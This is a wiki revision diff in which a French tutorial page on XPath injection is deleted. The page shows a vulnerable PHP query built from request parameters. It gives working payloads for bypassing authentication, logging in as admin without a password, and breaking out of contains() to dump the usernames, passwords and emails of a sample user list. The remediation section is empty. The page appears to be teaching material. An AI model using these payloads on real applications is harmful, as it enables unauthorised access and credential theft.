Ci-dessous, les différences entre deux révisions de la page.
web:injection_xpath [2016/03/15 11:00] yorin |
web:injection_xpath [2016/07/04 08:38] |
||
---|---|---|---|
Ligne 1: | Ligne 1: | ||
- | __**1)Présentation de la Vulnérabilité **__ | ||
- | |||
- | __**2)Exploit **__ | ||
- | |||
- | __2.1 XPATH Authentification__ | ||
- | |||
- | **Le code :** | ||
- | <code>$xpath = "//username[username='" . $_GET['username'] . "' and password='" . $_GET['password'] . "']";</code> | ||
- | |||
- | Voici en gros ce qu'il se passe derrière l'authentification, | ||
- | Maintenant, notre but est d'utiliser un tweak sur les valeurs username et password pour renvoyer une réponse **TRUE** et bypasser l'authentification. | ||
- | |||
- | Une partie a découvrir, c'est le noeud courant. Pour rappel la sémantique d'une Xpath est Un axe, un noeud, des prédicats. Ici notre noeud est username: | ||
- | Pour tester : | ||
- | <code> username=' or '1'='1 </code> | ||
- | |||
- | username est le nom de la variable renvoyé par le formulaire, on ferme ensuite la chaîne de caractères avec **'** puis on ajoute une vérité : | ||
- | **or '1'='1** | ||
- | On n'ajoute pas de **'** , $xpath s'en charge pour nous. | ||
- | |||
- | Au final, la chaîne $xpath donnera: | ||
- | |||
- | <code> $xpath = "//username[username='' or '1'='1' and password='' or '1'='1']"; </code> | ||
- | |||
- | Se connecter avec le premier utilisateur : <code> username=' or '1'='1&password=' or '1'='1 </code> | ||
- | Cette requête renverra TRUE, nous serons donc loggé avec la première utilisateur de la liste, ici FrankyVincent. | ||
- | Si vous suivez un peu, vous voyez déjà que l'on peut bypasser le password par une fermeture en plus ! Voici: | ||
- | |||
- | <code> username=' or '1'='1' or ''='&password= </code> | ||
- | |||
- | ce qui donne dessous la machine : | ||
- | |||
- | <code> $xpath = "//username[username='' or '1'='1' or ''='' and password='']"; </code> | ||
- | |||
- | Ainsi, si nous chainons deux or, le prédicat est stoppé avant password bypassant ainsi l'utilisation d'un mot de passe. L'utilité ? Se logger en admin par exemple | ||
- | |||
- | <code> username=admin' or '1'='1' or ''='&password= </code> | ||
- | |||
- | __2.2 Injection string:__ | ||
- | |||
- | Ce type d'injection est possible sur un champs de recherche d'utilisateur par exemple. | ||
- | Nous cherchons a créer une erreur avec **' )'** ce qui renverra : | ||
- | |||
- | <code> Invalid XPath syntax : //username/user[contains(., '' )')] </code> | ||
- | |||
- | En voici une erreur qui en dit long ! On récupère notre noeud (username/user), et l'info de l'utilisation de contains, y'a pu qu'à injecter comme on dit ! | ||
- | Il est important de savoir que contains attend un string en paramètre qui va être chercher dans le | ||
- | |||
- | Notre but est donc de fermer la requête, fermer le prédicat puis recommencer une requête complète. | ||
- | Et tada : | ||
- | |||
- | <code> username=')][('1'='1 </code> | ||
- | |||
- | Au final, on obtient: | ||
- | |||
- | <code> $xpath=//username/user[contains(.,'')][('1'='1')] </code> | ||
- | |||
- | Cela listera les username : | ||
- | |||
- | * **5 results found** | ||
- | |||
- | * **FrankyVincent** | ||
- | * **admin** | ||
- | * **Babar** | ||
- | * **Tigrou** | ||
- | * **Carlos** | ||
- | |||
- | C'est jolie tout ça mais, nous on veut du mdp ! Remontons d'un cran ! | ||
- | |||
- | <code> $xpath=//username/user[contains(.,'')]/../*[('1'='1')] </code> | ||
- | |||
- | On remonte dans l'arborescence et affiche tout le contenu de l'ensemble des noeuds “user” et tous ses attributs. | ||
- | |||
- | L'injection : <code> username=')]/../*[('1'='1 </code> renverra: | ||
- | |||
- | * **1** | ||
- | * **FrankyVincent** | ||
- | * **FruitDeL@Passion** | ||
- | * **Cousin@cousinealui.com** | ||
- | * **2** | ||
- | * **admin** | ||
- | * **Sup3rM0tD3p@sseD30uf** | ||
- | * **admin@xpathpwnd.com** | ||
- | * **admin** | ||
- | |||
- | * **[...]** | ||
- | |||
- | * **Carlos@decede.fr** | ||
- | * **Décédé** | ||
- | |||
- | __**3)Remédiation de la Vulnérabilité **__ |